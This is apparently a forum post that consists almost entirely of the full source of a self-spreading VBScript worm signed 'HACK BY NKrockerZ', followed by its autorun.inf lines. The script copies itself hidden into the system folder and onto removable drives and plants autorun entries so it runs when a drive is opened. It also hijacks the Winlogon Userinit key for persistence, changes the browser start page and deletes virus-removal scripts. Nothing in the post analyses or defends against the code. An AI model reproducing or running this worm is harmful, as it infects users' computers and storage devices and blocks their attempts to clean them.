Dhananja4medialab

Active member
  • Sep 22, 2009
    200
    26
    28
    chilaw
    Code:
    '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    '*********************!!!!! EVIL VBScript !!!!!********************
    '************************** Version 9909 **************************
    '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    '****************************************************************
    '                              #2                     *560*                             3#
    '                                   HACK BY De-interlace
    '                 I REMOVE YOUR VIRUS BUT I WILL HACK YOU 
    '                              0#                     *500*                            #7 
    '#################################################################
    '################################################################
    
    Option Explicit
    On Error Resume Next
    
    Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root
    
    Set Fso = CreateObject("Scripting.FileSystemObject")
    Set Shells = CreateObject("Wscript.Shell")
    Set WinDir = Fso.GetSpecialFolder(0)
    Set SystemDir =Fso.GetSpecialFolder(1)
    Set File = Fso.GetFile(WScript.ScriptFullName)
    Set Drv = File.Drive
    Set InDrive = Fso.drives
    Set ReadAll = File.OpenAsTextStream(1,-2)
    do while not ReadAll.atendofstream
    AllFile = AllFile & ReadAll.readline
    AllFile = AllFile & vbcrlf
    Loop
    Count=Drv.DriveType
    Do 
    If Not Fso.FileExists(SystemDir & "\NKrockerZ1.VBS") then
    set WriteAll = Fso.CreateTextFile(SystemDir & "\NKrockerZ1.VBS",2,true)
    WriteAll.Write AllFile 
    WriteAll.close
    set WriteAll = Fso.GetFile(SystemDir & "\NKrockerZ1.VBS")
    WriteAll.Attributes = -1
    End If          
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\ShowSuperHidden","1","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Hidden","1","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\SuperHidden","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","  HACK BY NKrockerZ  "
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nofind","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nocmd","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Norun","0","REG_DWORD"    
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
    Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.an*ma*d*.com"
    Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe","Opera.exe"
    Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
    SystemDir & "\wscript.exe " & SystemDir & "\NKrockerZ1.VBS"
    For Each Drives In InDrive 
    root = Drives.Path & "\"
    If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
    Shells.Run "explorer.exe " & root
    End If
    Set folder=Fso.GetFolder(root)
    Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
    For Each files In folder.Files
    auto=Left(files.Name,7)
    If UCase(auto)=UCase("VirusRemoval") Then
    Set Delete = Fso.DeleteFile(root & files.Name,true)
    End If    
    Next
    If Drives.DriveType=2 Then
    delext "inf",Drives.Path & "C:"
    delext "INF",Drives.Path & "C:"
    End if  
    If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
    If Drives.Path<> "A:" Then
    delext "vbs",WinDir & "\"
    delext "vbs",Drives.Path  & "\"
    If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
    Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
     End If        
    If Drives.DriveType = 1 Then
    If Drives.Path<>"A:" Then
    If Not Fso.FileExists(Drives.Path & "\NKrockerZ1.VBS") Then
    Set WriteAll=Fso.CreateTextFile(Drives.Path & "\NKrockerZ1.VBS",2,True)
    WriteAll.Write AllFile
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\NKrockerZ1.VBS")
    WriteAll.Attributes = -1
    End If                 
    If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then 
    Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
    Chg.Attributes = -8
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe NKrockerZ1.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe NKrockerZ1.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    else
    Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
    WriteAll.writeline "[autorun]"
    WriteAll.WriteLine "open=wscript.exe NKrockerZ1.VBS"
    WriteAll.WriteLine "shell\open=Open"
    WriteAll.WriteLine "shell\open\Command=wscript.exe NKrockerZ1.VBS"
    WriteAll.Close
    Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
    WriteAll.Attributes = -1
    End if
    End If
    End If
    End if  
    End If
    Next
    if Count <> 1 then
    Wscript.sleep 10000
    end if
    loop while Count<>1
    sub delext(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
    END IF
    NEXT
    END SUB
    
    
    
    
    
    files autorun.inf , NKrockerZ1.VBS
    
    autorun command
    
    [autorun]
    open=wscript.exe NKrockerZ1.VBS
    shell\open=Open
    shell\open\Command=wscript.exe NKrockerZ1.VBS
    :growl::growl::growl::no::no::no::no: